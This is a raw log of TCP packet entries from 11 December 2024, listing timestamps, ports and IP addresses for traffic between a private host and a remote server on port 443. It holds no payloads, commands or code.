Dec 11, 2024 12:15:52.710417032 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.710561037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710561037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710741043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710741043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710741043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.710747957 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.710932970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.711987019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.712004900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.712152004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.712152004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.712327957 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.712335110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.712521076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.712521076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.712521076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713346958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.713363886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.713634968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713634968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713634968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713634968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713634968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.713646889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.713814974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714282036 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.714303970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.714447021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714447021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714626074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714632034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.714818001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714818001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.714818001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.716005087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.716018915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.716166973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.716166973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.716346979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.716346979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.716352940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.716968060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.717905998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.717922926 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.718404055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.718404055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.718404055 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.718419075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.718555927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.718878984 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.718898058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.719011068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.719059944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.719239950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.719239950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.719245911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.719429970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.720722914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.720742941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.721033096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.721033096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.721044064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.721105099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.721282959 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.721920967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.721937895 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.722069979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.722069979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.722121000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.722126007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.722301960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.722301960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.722301960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.723660946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.723676920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.723825932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.723825932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.724004984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.724004984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.724014044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.724194050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.724845886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.724859953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.725599051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.725599051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.725599051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.725599051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.725610018 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.725790024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.725790024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726414919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.726432085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.726578951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726761103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726761103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726761103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726761103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.726769924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.726952076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.727354050 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.727370977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.727511883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.727511883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.727694988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.727694988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.727700949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.727886915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.729418993 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.729433060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.729533911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.729582071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.729765892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.729772091 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.729954004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.730439901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.730456114 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.730979919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.730981112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.730981112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.730993032 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.731029034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.731213093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.732356071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.732372999 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.732517004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.732697010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.732888937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.732888937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.732894897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.733031988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.733905077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.733923912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.734245062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.734245062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.734245062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.734258890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.734488010 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735002041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.735019922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.735346079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735346079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735346079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735346079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735346079 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.735362053 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.735527039 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.736680031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.736697912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.737212896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.737212896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.737212896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.737226963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.737390995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.737390995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.737390995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738153934 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.738172054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.738316059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738316059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738496065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738496065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738496065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.738502979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.738687038 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.739758968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.739777088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.739921093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.739921093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740101099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740106106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.740195036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740195036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740660906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740806103 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.740820885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.740968943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.740968943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.741144896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.741144896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.741151094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.741338015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.741389036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.742516041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.742531061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.742851019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.742851019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.742851019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.742863894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.743046045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.743463039 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.743535042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.743810892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.743818998 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.744194984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.914263964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.914280891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.914603949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.914603949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.914603949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.914618015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.914633989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.914796114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.914803028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.914985895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.915035963 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.916568995 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.916579962 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.916718006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.916764975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.916764975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.916949034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.916954994 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.917798996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.917812109 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.917988062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.917988062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.918000937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.918154001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.918154955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.918154955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.918154955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.918948889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.918958902 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.919471979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.919471979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.919471979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.919471979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.919480085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.919534922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.919727087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.920370102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.920382023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.920530081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.920530081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.920542002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.920725107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.920917988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921540976 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.921551943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.921704054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921704054 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921883106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921883106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921883106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921883106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.921890974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.923084974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.923098087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.923219919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923232079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.923437119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923438072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923438072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923438072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923438072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.923964977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.924032927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.924124002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924348116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924348116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924360991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.924369097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924585104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924611092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.924623966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.924808979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924808979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924988985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924988985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924988985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.924993992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.925179958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.926362991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.926373959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.926579952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.926579952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.926590919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.926759958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.926759958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.926951885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927306890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.927318096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.927475929 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927475929 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927656889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927663088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.927850962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927850962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.927850962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.929136992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.929148912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.929663897 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.929790974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.929835081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.929845095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.930016994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.930016994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.930207014 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.930283070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.931442022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.931452990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.931596994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.931596994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.931776047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.931782007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.931972027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.931972027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.932368040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.932379961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.932717085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.932717085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.932725906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.934309006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.934319973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.934468985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.934468985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.934484005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.934664011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.934664011 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.934855938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.935045004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.935056925 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.935367107 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.935559034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.935564041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.935828924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.936007977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.936007977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.936021090 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.936799049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.936814070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.936964035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.936975956 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.936984062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.936984062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.937203884 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.938602924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.938616037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.938796043 CET	49782	443	192.168.11.20	172.67.128.139
